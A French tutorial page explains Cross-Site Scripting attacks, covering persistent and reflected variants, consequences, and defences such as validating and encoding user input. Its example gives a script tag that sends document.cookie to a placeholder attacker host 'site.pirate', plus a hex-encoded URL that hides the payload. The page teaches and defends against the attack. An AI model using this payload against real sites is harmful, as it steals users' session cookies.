 |
Attaques - Cross-Site Scripting
 |
 |
 |  |
Injection de code malicieux
Les attaques de type Cross-Site Scripting (notée parfois XSS ou CSS) sont des attaques visant les sites web affichant dynamiquement du contenu utilisateur sans effectuer de contrôle et d'encodage des informations saisies par les utilisateurs. Les attaques Cross-Site Scripting consistent ainsi à forcer un site web à afficher du code HTML ou des scripts saisis par les utilisateurs. Le code ainsi inclus (le terme « injecté » est habituellement utilisé) dans un site web vulnérable est dit « malicieux ».
Il est courant que les sites affichent des messages d'information reprenant directement un paramètre entré par l'utilisateur. L'exemple le plus classique est celui des « pages d'erreur 404 ». Certains sites web modifient le comportement du site web, afin d'afficher un message d'erreur personnalisée lorsque la page demandée par le visiteur n'existe pas. Parfois la page générée dynamiquement affiche le nom de la page demandée. Appelons http://site.vulnerable un site possédant une telle faille. L'appel de l'URL http://site.vulnerable/page-inexistante correspondant à une page n'existant pas provoquera l'affichage d'un message d'erreur indiquant que la page « page-inexistante » n'existe pas. Il est ainsi possible de faire afficher ce que l'on souhaite au site web en remplaçant « page-inexistante » par toute autre chaîne de caractère.
Ainsi, si aucun contrôle n'est effectué sur le contenu fourni par l'utilisateur, il est possible d'afficher du code HTML arbitraire sur une page web, afin d'en changer l'aspect, le contenu ou bien le comportement.
De plus, la plupart des navigateurs sont dotés de la capacité d'interprêter des scripts contenus dans les pages web, écrits dans différents langages, tel que JavaScript, VBScript, Java, ActiveX ou Flash. Les balises HTML suivantes permettent ainsi d'incorporer des scripts exécutables dans une page web : <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
Il est ainsi possible à un pirate d'injecter du code arbitraire dans la page web, afin que celui-ci soit exécuté sur le poste de l'utilisateur dans le contexte de sécurité du site vulnérable. Pour ce faire, il lui suffit de remplacer la valeur du texte destiné à être affiché par un script, afin que celui s'affiche dans la page web. Pour peu que le navigateur de l'utilisateur soit configuré pour exécuter de tels scripts, le code malicieux a accès à l'ensemble des données partagées par la page web de l'utilisateur et le serveur (cookies, champs de formulaires, etc.).
Conséquences
Grâce aux vulnérabilités Cross-Site Scripting, il est possible à un pirate de récupérer par ce biais les données échangées entre l'utilisateur et le site web concerné. Le code injecté dans la page web peut ainsi servir à afficher un formulaire afin de tromper l'utilisateur et lui faire saisir par exemple des informations d'authentification.
Par ailleurs, le script injecté peut permettre de rediriger l'utilisateur vers une page sous le contrôle du pirate, possédant éventuellement la même interface graphique que le site compromis afin de tromper l'usager.
Dans un tel contexte, la relation de confiance existant entre l'utilisateur et le site web est complètement compromise.
Persistance de l'attaque
Lorsque les données saisies par l'utilisateur sont stockées sur le serveur pendant un certain temps (cas d'un forum de discussion par exemple), l'attaque est dite « persistante ». En effet, tous les utilisateurs du site web accès à la page dans laquelle le code nuisible a été introduit.
Les attaques dites « non persistantes » concernent les pages web dynamiques dans lesquelles une variable entrée par l'utilisateur est affichée telle quelle (par exemple l'affichage du nom de l'utilisateur, de la page en cours ou du mot saisie dans un champ de formulaire). Pour pouvoir exploiter cette vulnérabilité, l'attaquant doit fournir à la victime une URL modifiée, passant le code à insérer en paramètre. Néanmoins, une URL contenant des éléments de code Javascript pourra paraître suspecte à la victime, c'est la raison pour laquelle cette attaque est la plupart réalisée en encodant les données dans l'URL, afin qu'elle masque le code injecté à l'utilisateur.
Exemple
Supposons que la page d'accueil de CommentCaMarche.net soit vulnérable à une attaque de type Cross-Site Scripting car elle permet d'afficher sur la page d'accueil un message de bienvenue affichant le nom de l'utilisateur passé en paramètre :
http://www.commentcamarche.net/?nom=Jeff
Une personne malintentionnée peut réaliser une attaque Cross-Site Scripting non persistance en fournissant à une victime une adresse remplaçant le nom « Jeff » par du code HTML. Il peut notamment passer en paramètre le code Javascript suivant, servant à rediriger l'utilisateur vers une page dont il a la maîtrise :
<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
Le code ci-dessus récupère les cookies de l'utilisateur et les transmet en paramètre à un script CGI. Un tel code passé en paramètre serait trop visible :
http://www.commentcamarche.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
En revanche, l'encodage de l'URL permet de masquer l'attaque :
http://www.commentcamarche.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e
Attaque croisée
Dans l'exemple précédent, l'ensemble du script est passé en paramètre de l'URL. La méthode GET, permettant de passer des paramètres dans l'URL est limitée à une longueur totale de 255 caractères pour l'URL. Grâce à l'attribut SRC de la balise <SCRIPT>, il est possible d'exécuter du code malicieux stocké dans un script sur un serveur distant ! Dans la mesure où il est ainsi possible d'injecter du code à partir d'une source distante, ce type d'attaque porte le nom de « Cross-Site » (« Cross-Site » signifie littéralement « entre sites »).
Protection
Du côté de l'utilisateur, il est possible de se prémunir contre les attaques CSS en configurant le navigateur de manière à empêcher l'exécution des langages de scripts. Dans la réalité cette solution est souvent trop contraignante pour l'utilisateur car de nombreux sites refuseront de fonctionner correctement en l'absence de possibilité d'exécution de code dynamique.
La seule façon viable d'empêcher les attaques Cross-Site Scripting conssite à concevoir des sites web non vulnérables. Pour ce faire, le concepteur d'un site web doit :
- Vérifier le format des données entrées par les utilisateurs ;
- Encoder les données utilisateurs affichées en remplaçant les caractères spéciaux par leurs équivalents HTML.
Plus d'information
- CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
- CERT® - Understanding Malicious Content Mitigation for Web Developers
Trucs & astuces pertinents trouvés dans la base de connaissances
| 17/02 18h26 |  Créer un site beau, dynamique et respectueux des standards (Webmaster) |
|
| 17/02 08h44 | Voir à quoi ressemble votre site ailleurs (Webmaster) |
|
| 16/02 03h11 | Créer un site internet (Création de pages) |
|
| 10/02 19h12 | Les images ne s'affichent pas sur le site (Création de pages) |
|
| 23/01 15h45 | Comment aspirer un site Web ? (Web) |
|
| 15/01 22h54 | L'icône de votre site dans la barre d'adresse (Webmaster) |
|
| 06/01 00h53 | Accèder rapidement à une page ou un site (Internet) |
|
| 22/12 22h09 | Publier facilement une vidéo dans une page web (Webmaster) |
|
| 29/11 22h08 | Un formulaire de contact pour votre site (Webmaster) |
|
| 22/11 13h03 | On peut protéger une page web/une image contre la copie (Mythes et légendes) |
|
 Plus d'astuces sur « Cross site scripting » | ||
Discussions pertinentes trouvées dans le forum
| 30/11 17h14 | InstallShield Scripting Runtime ??? |
Logiciels/Pilotes | 22/12 21h24->ARNIX2 | 27 |
| 05/01 23h10 | erreur 1607 InstallShield Scripting RunTime |
Windows | 29/12 16h48->vincent | 24 |
| 07/04 16h41 | [Linux-Shell-scripting] commande cat ou sed ? |
Linux/Unix | 08/04 13h50->np34 | 8 |
| 17/01 13h17 | 1607 unable to installShield scripting runtim |
Logiciels/Pilotes | 22/12 22h06->ARNIX2 | 6 |
| 30/11 17h09 | InstallShield Scripting Runtime ??? |
Windows | 03/12 01h25->peps | 3 |
| 25/04 11h40 | [C++] Inclure du shelle scripting dans C++ |
Développement | 25/04 12h44->Hitchy | 2 |
| 22/08 16h41 | [HTML, Scripting] OnChange + lien dans iframe |
Webmastering | 22/08 17h03->Bios | 2 |
| 09/07 10h33 | Server.CreateObject("Scripting.FileSystemObje |
Développement | 09/07 15h12->chaf | 1 |
| 26/07 11h36 | Scripting ? |
Développement | 26/07 17h16->sebsauvage | 1 |
| 20/10 20h08 | erreur 1607 Install shield Scripting Runtime |
Jeux vidéos | 21/10 14h22->johann-ordi | 1 |
 Discussion fermée
 Problème résolu |
Plus de discussions sur « Cross site scripting » | |||